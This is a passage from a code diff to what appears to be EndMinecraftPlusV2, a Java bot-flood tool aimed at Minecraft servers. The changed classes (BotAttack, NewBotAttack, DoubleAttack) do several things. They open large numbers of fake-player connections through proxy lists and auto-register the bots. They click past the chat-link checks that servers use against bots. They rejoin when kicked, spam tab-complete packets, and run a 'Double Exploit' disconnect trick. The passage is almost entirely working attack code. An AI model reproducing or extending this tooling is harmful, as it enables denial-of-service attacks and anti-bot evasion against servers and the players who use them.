LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
||||||
}
|
}
|
||||||
} else if (recvPacket instanceof ServerKeepAlivePacket) {
|
} else if (recvPacket instanceof ServerKeepAlivePacket) {
|
||||||
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||||
session.send(keepAlivePacket);
|
session.send(keepAlivePacket);
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!joinedPlayers.contains(session)) {
|
||||||
|
joinedPlayers.add(session);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -475,14 +475,6 @@ public class BotAttack extends IAttack {
|
|||||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
||||||
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
||||||
clickVerifies++;
|
clickVerifies++;
|
||||||
} else {
|
|
||||||
if (!message.getText().equals("")) {
|
|
||||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
|
||||||
alivePlayers.add(username);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
||||||
|
@ -6,6 +6,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*;
|
|||||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
|
||||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
|
||||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
|
||||||
|
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
||||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||||
@ -31,7 +32,6 @@ import net.kyori.adventure.text.Component;
|
|||||||
import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer;
|
import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer;
|
||||||
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
||||||
|
|
||||||
import java.io.InputStream;
|
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.net.Proxy;
|
import java.net.Proxy;
|
||||||
@ -43,10 +43,11 @@ import java.util.concurrent.Executors;
|
|||||||
public class NewBotAttack extends IAttack {
|
public class NewBotAttack extends IAttack {
|
||||||
public static HashMap<Session, String> clientName = new HashMap<>();
|
public static HashMap<Session, String> clientName = new HashMap<>();
|
||||||
public static int failed = 0;
|
public static int failed = 0;
|
||||||
public static int joined = 0;
|
|
||||||
public static int rejoin = 0;
|
public static int rejoin = 0;
|
||||||
public static int clickVerifies = 0;
|
public static int clickVerifies = 0;
|
||||||
public static List<String> alivePlayers = new ArrayList<>();
|
public static List<String> alivePlayers = new ArrayList<>();
|
||||||
|
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||||
|
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||||
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||||
public static HashMap<Session,ClientboundPlayerPositionPacket> newPositionPacket = new HashMap<>();
|
public static HashMap<Session,ClientboundPlayerPositionPacket> newPositionPacket = new HashMap<>();
|
||||||
protected boolean attack_motdbefore;
|
protected boolean attack_motdbefore;
|
||||||
@ -153,8 +154,6 @@ public class NewBotAttack extends IAttack {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
OtherUtils.doSleep(1000);
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
@ -186,7 +185,7 @@ public class NewBotAttack extends IAttack {
|
|||||||
tabThread = new Thread(() -> {
|
tabThread = new Thread(() -> {
|
||||||
while (true) {
|
while (true) {
|
||||||
for (Session c : clients) {
|
for (Session c : clients) {
|
||||||
if (c.isConnected() && c.hasFlag("join")) {
|
if (c.isConnected() && c.hasFlag("login")) {
|
||||||
if (ProtocolLibs.adaptAfter758) {
|
if (ProtocolLibs.adaptAfter758) {
|
||||||
VersionSupport758.sendTabPacket(c, "/");
|
VersionSupport758.sendTabPacket(c, "/");
|
||||||
} else {
|
} else {
|
||||||
@ -225,11 +224,14 @@ public class NewBotAttack extends IAttack {
|
|||||||
String username = clientName.get(client);
|
String username = clientName.get(client);
|
||||||
|
|
||||||
if (!client.isConnected()) {
|
if (!client.isConnected()) {
|
||||||
|
positionPacket.remove(client);
|
||||||
alivePlayers.remove(username);
|
alivePlayers.remove(username);
|
||||||
clientName.remove(client);
|
clientName.remove(client);
|
||||||
clients.remove(client);
|
clients.remove(client);
|
||||||
} else if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) {
|
} else {
|
||||||
alivePlayers.add(username);
|
if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -247,47 +249,41 @@ public class NewBotAttack extends IAttack {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
boolean run = true;
|
for (String p: ProxyUtil.proxies) {
|
||||||
while (run) {
|
try {
|
||||||
for (String p: ProxyUtil.proxies) {
|
if (!EndMinecraftPlusV2.isLinux) {
|
||||||
try {
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||||
if (!EndMinecraftPlusV2.isLinux) {
|
|
||||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
|
||||||
}
|
|
||||||
|
|
||||||
String[] _p = p.split(":");
|
|
||||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
|
||||||
String[] User = AttackManager.getRandomUser().split("@");
|
|
||||||
Session client = createClient(ip, port, User[0], proxy);
|
|
||||||
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
|
||||||
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
|
||||||
clientName.put(client, User[0]);
|
|
||||||
clients.add(client);
|
|
||||||
ProxyUtil.clientsProxy.put(client, proxy);
|
|
||||||
|
|
||||||
if (this.attack_motdbefore) {
|
|
||||||
pool.submit(() -> {
|
|
||||||
getMotd(proxy, ip, port);
|
|
||||||
client.connect(false);
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
client.connect(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (this.attack_joinsleep > 0) {
|
|
||||||
OtherUtils.doSleep(attack_joinsleep);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (clients.size() > this.attack_maxconnect) {
|
|
||||||
run = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
String[] _p = p.split(":");
|
||||||
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
|
String[] User = AttackManager.getRandomUser().split("@");
|
||||||
|
Session client = createClient(ip, port, User[0], proxy);
|
||||||
|
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||||
|
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||||
|
clientName.put(client, User[0]);
|
||||||
|
clients.add(client);
|
||||||
|
ProxyUtil.clientsProxy.put(client, proxy);
|
||||||
|
|
||||||
|
pool.submit(() -> {
|
||||||
|
if (this.attack_motdbefore) {
|
||||||
|
getMotd(proxy, ip, port);
|
||||||
|
}
|
||||||
|
|
||||||
|
client.connect(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
if (this.attack_joinsleep > 0) {
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (clients.size() > this.attack_maxconnect) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public Session createClient(final String ip, int port, final String username, Proxy proxy) {
|
public Session createClient(final String ip, int port, final String username, Proxy proxy) {
|
||||||
@ -327,10 +323,6 @@ public class NewBotAttack extends IAttack {
|
|||||||
handlePacket(e.getSession(), e.getPacket(), username);
|
handlePacket(e.getSession(), e.getPacket(), username);
|
||||||
}
|
}
|
||||||
}).start();
|
}).start();
|
||||||
|
|
||||||
if (ConfigUtil.SaveWorkingProxy) {
|
|
||||||
ProxyUtil.saveWorkingProxy(proxy);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetReceived(Session session, Packet packet) {
|
public void packetReceived(Session session, Packet packet) {
|
||||||
@ -341,10 +333,6 @@ public class NewBotAttack extends IAttack {
|
|||||||
handlePacket(session, packet, username);
|
handlePacket(session, packet, username);
|
||||||
}
|
}
|
||||||
}).start();
|
}).start();
|
||||||
|
|
||||||
if (ConfigUtil.SaveWorkingProxy) {
|
|
||||||
ProxyUtil.saveWorkingProxy(proxy);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||||
@ -364,31 +352,36 @@ public class NewBotAttack extends IAttack {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void connected(ConnectedEvent e) {
|
public void connected(ConnectedEvent e) {
|
||||||
|
if (ConfigUtil.SaveWorkingProxy) {
|
||||||
|
ProxyUtil.saveWorkingProxy(proxy);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void disconnecting(DisconnectingEvent e) {
|
public void disconnecting(DisconnectingEvent e) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public void disconnected(DisconnectedEvent e) {
|
public void disconnected(DisconnectedEvent e) {
|
||||||
String msg;
|
new Thread(() -> {
|
||||||
|
String msg;
|
||||||
|
|
||||||
if (e.getCause() == null) {
|
if (e.getCause() == null) {
|
||||||
msg = e.getReason();
|
msg = e.getReason();
|
||||||
|
|
||||||
if (ProtocolLibs.adaptAfter754) {
|
if (ProtocolLibs.adaptAfter754) {
|
||||||
Component component = GsonComponentSerializer.gson().deserialize(msg);
|
Component component = GsonComponentSerializer.gson().deserialize(msg);
|
||||||
msg = PlainTextComponentSerializer.plainText().serialize(component);
|
msg = PlainTextComponentSerializer.plainText().serialize(component);
|
||||||
}
|
}
|
||||||
|
|
||||||
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||||
|
|
||||||
if (ConfigUtil.SaveWorkingProxy) {
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||||
ProxyUtil.saveWorkingProxy(proxy);
|
if (rejoinPlayers.contains(username)) {
|
||||||
}
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (msg.contains(rejoinDetect)) {
|
||||||
|
rejoinPlayers.add(username);
|
||||||
|
|
||||||
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
|
||||||
if (msg.contains(rejoinDetect)) {
|
|
||||||
new Thread(() -> {
|
|
||||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||||
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||||
|
|
||||||
@ -401,24 +394,24 @@ public class NewBotAttack extends IAttack {
|
|||||||
clientName.put(rejoinClient, username);
|
clientName.put(rejoinClient, username);
|
||||||
clients.add(rejoinClient);
|
clients.add(rejoinClient);
|
||||||
rejoinClient.connect(false);
|
rejoinClient.connect(false);
|
||||||
|
ProxyUtil.clientsProxy.put(client, proxy);
|
||||||
|
|
||||||
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
|
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
|
||||||
|
rejoinPlayers.remove(username);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}).start();
|
|
||||||
|
rejoinPlayers.remove(username);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
} else if (ConfigUtil.ShowFails) {
|
||||||
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
|
||||||
}
|
}
|
||||||
} else if (ConfigUtil.ShowFails) {
|
|
||||||
//msg = e.getCause().getMessage();
|
|
||||||
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
|
|
||||||
}
|
|
||||||
|
|
||||||
failed++;
|
failed++;
|
||||||
alivePlayers.remove(username);
|
alivePlayers.remove(username);
|
||||||
|
}).start();
|
||||||
client.disconnect("");
|
|
||||||
clients.remove(client);
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
return client;
|
return client;
|
||||||
@ -428,22 +421,14 @@ public class NewBotAttack extends IAttack {
|
|||||||
try {
|
try {
|
||||||
Socket socket = new Socket(proxy);
|
Socket socket = new Socket(proxy);
|
||||||
socket.connect(new InetSocketAddress(ip, port));
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
|
||||||
if (socket.isConnected()) {
|
if (socket.isConnected()) {
|
||||||
OutputStream out = socket.getOutputStream();
|
OutputStream out = socket.getOutputStream();
|
||||||
InputStream in = socket.getInputStream();
|
|
||||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||||
out.write(new byte[]{0x01, 0x00});
|
out.write(new byte[]{0x01, 0x00});
|
||||||
out.flush();
|
out.flush();
|
||||||
in.read();
|
|
||||||
|
|
||||||
try {
|
|
||||||
in.close();
|
|
||||||
out.close();
|
|
||||||
socket.close();
|
|
||||||
} catch (Exception ignored) {}
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
socket.close();
|
socket.close();
|
||||||
} catch (Exception ignored) {}
|
} catch (Exception ignored) {}
|
||||||
}
|
}
|
||||||
@ -471,7 +456,7 @@ public class NewBotAttack extends IAttack {
|
|||||||
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
||||||
session.setFlag("join", true);
|
session.setFlag("join", true);
|
||||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||||
joined++;
|
joinedPlayers.add(session);
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
@ -490,20 +475,24 @@ public class NewBotAttack extends IAttack {
|
|||||||
|
|
||||||
} else if (recvPacket instanceof ServerChatPacket) {
|
} else if (recvPacket instanceof ServerChatPacket) {
|
||||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||||
|
Message message = chatPacket.getMessage();
|
||||||
|
Map<String, String> result = VersionSupport754.clickVerifiesHandle(chatPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
||||||
|
|
||||||
if (ProtocolLibs.adaptAfter754) {
|
if (result.get("result").contains("true")) {
|
||||||
List<String> result = VersionSupport754.clickVerifiesHandle(chatPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
|
clickVerifies++;
|
||||||
|
}
|
||||||
|
|
||||||
if (result.get(0).equals("1")) {
|
if (!joinedPlayers.contains(session)) {
|
||||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
|
joinedPlayers.add(session);
|
||||||
clickVerifies++;
|
}
|
||||||
} else if (!result.get(1).equals("")) {
|
|
||||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (ConfigUtil.ShowServerMessages && !message.getText().equals("")) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
||||||
}
|
}
|
||||||
} else if (recvPacket instanceof ServerKeepAlivePacket) {
|
} else if (recvPacket instanceof ServerKeepAlivePacket) {
|
||||||
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||||
@ -535,7 +524,7 @@ public class NewBotAttack extends IAttack {
|
|||||||
} else if (recvPacket instanceof ClientboundLoginPacket) {
|
} else if (recvPacket instanceof ClientboundLoginPacket) {
|
||||||
session.setFlag("join", true);
|
session.setFlag("join", true);
|
||||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||||
joined++;
|
joinedPlayers.add(session);
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
@ -558,44 +547,62 @@ public class NewBotAttack extends IAttack {
|
|||||||
newPositionPacket.put(session,packet);
|
newPositionPacket.put(session,packet);
|
||||||
} catch (Exception ignored) {}
|
} catch (Exception ignored) {}
|
||||||
} else if (ProtocolLibs.adaptAfter760 && VersionSupport760.checkServerChatPacket(recvPacket)) {
|
} else if (ProtocolLibs.adaptAfter760 && VersionSupport760.checkServerChatPacket(recvPacket)) {
|
||||||
List<String> result = VersionSupport760.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
Map<String, String> result = VersionSupport760.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
||||||
|
|
||||||
if (result.get(0).equals("1")) {
|
if (result.get("result").contains("true")) {
|
||||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
clickVerifies++;
|
clickVerifies++;
|
||||||
} else if (!result.get(1).equals("")) {
|
}
|
||||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
|
|
||||||
|
if (!joinedPlayers.contains(session)) {
|
||||||
|
joinedPlayers.add(session);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (ConfigUtil.ShowServerMessages) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
|
}
|
||||||
} else if (VersionSupport759.checkServerChatPacket(recvPacket)) {
|
} else if (VersionSupport759.checkServerChatPacket(recvPacket)) {
|
||||||
List<String> result = VersionSupport759.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
Map<String, String> result = VersionSupport759.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
||||||
|
|
||||||
if (result.get(0).equals("1")) {
|
if (result.get("result").contains("true")) {
|
||||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
clickVerifies++;
|
clickVerifies++;
|
||||||
} else if (!result.get(1).equals("")) {
|
}
|
||||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
|
|
||||||
|
if (!joinedPlayers.contains(session)) {
|
||||||
|
joinedPlayers.add(session);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (ConfigUtil.ShowServerMessages) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
|
}
|
||||||
} else if (VersionSupport758.checkServerChatPacket(recvPacket)) {
|
} else if (VersionSupport758.checkServerChatPacket(recvPacket)) {
|
||||||
List<String> result = VersionSupport758.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
Map<String, String> result = VersionSupport758.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null);
|
||||||
|
|
||||||
if (result.get(0).equals("1")) {
|
if (result.get("result").contains("true")) {
|
||||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get(2), "BotAttack");
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
clickVerifies++;
|
clickVerifies++;
|
||||||
} else if (!result.get(1).equals("")) {
|
}
|
||||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get(1), "BotAttack");
|
|
||||||
|
if (!joinedPlayers.contains(session)) {
|
||||||
|
joinedPlayers.add(session);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
if (!alivePlayers.contains(username)) {
|
||||||
alivePlayers.add(username);
|
alivePlayers.add(username);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (ConfigUtil.ShowServerMessages) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -105,9 +105,9 @@ public class BotAttack extends IAttack {
|
|||||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||||
}
|
}
|
||||||
|
|
||||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||||
}
|
}
|
||||||
|
|
||||||
c.getSession().setFlag("login", true);
|
c.getSession().setFlag("login", true);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -146,7 +146,7 @@ public class BotAttack extends IAttack {
|
|||||||
Set<Client> cacheClients = clients;
|
Set<Client> cacheClients = clients;
|
||||||
|
|
||||||
for (Client c:cacheClients) {
|
for (Client c:cacheClients) {
|
||||||
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
|
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
|
||||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -315,8 +315,7 @@ public class BotAttack extends IAttack {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (ConfigUtil.ShowFails) {
|
} else if (ConfigUtil.ShowFails) {
|
||||||
msg = e.getCause().getMessage();
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
|
||||||
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
failed++;
|
failed++;
|
||||||
@ -420,10 +419,18 @@ public class BotAttack extends IAttack {
|
|||||||
|
|
||||||
} else if (recvPacket instanceof ServerChatPacket) {
|
} else if (recvPacket instanceof ServerChatPacket) {
|
||||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||||
clickVerifiesHandle(chatPacket.getMessage(), session, username);
|
|
||||||
|
|
||||||
Message message = chatPacket.getMessage();
|
Message message = chatPacket.getMessage();
|
||||||
|
|
||||||
|
clickVerifiesHandle(message, session, username);
|
||||||
|
|
||||||
|
if (!joinedPlayers.contains(session)) {
|
||||||
|
joinedPlayers.add(session);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
|
||||||
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
||||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
||||||
}
|
}
|
||||||
@ -456,14 +463,6 @@ public class BotAttack extends IAttack {
|
|||||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
||||||
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
||||||
clickVerifies++;
|
clickVerifies++;
|
||||||
} else {
|
|
||||||
if (!joinedPlayers.contains(session)) {
|
|
||||||
joinedPlayers.add(session);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!alivePlayers.contains(username)) {
|
|
||||||
alivePlayers.add(username);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
||||||
|
@ -32,7 +32,9 @@ public class DoubleAttack extends BotAttack {
|
|||||||
super.handlePacket(session, recvPacket, username);
|
super.handlePacket(session, recvPacket, username);
|
||||||
if (recvPacket instanceof ServerJoinGamePacket) {
|
if (recvPacket instanceof ServerJoinGamePacket) {
|
||||||
session.disconnect("Double Exploit - Connection Reset!");
|
session.disconnect("Double Exploit - Connection Reset!");
|
||||||
|
|
||||||
runTimes++;
|
runTimes++;
|
||||||
|
|
||||||
if (!EndMinecraftPlusV2.isLinux) {
|
if (!EndMinecraftPlusV2.isLinux) {
|
||||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
|
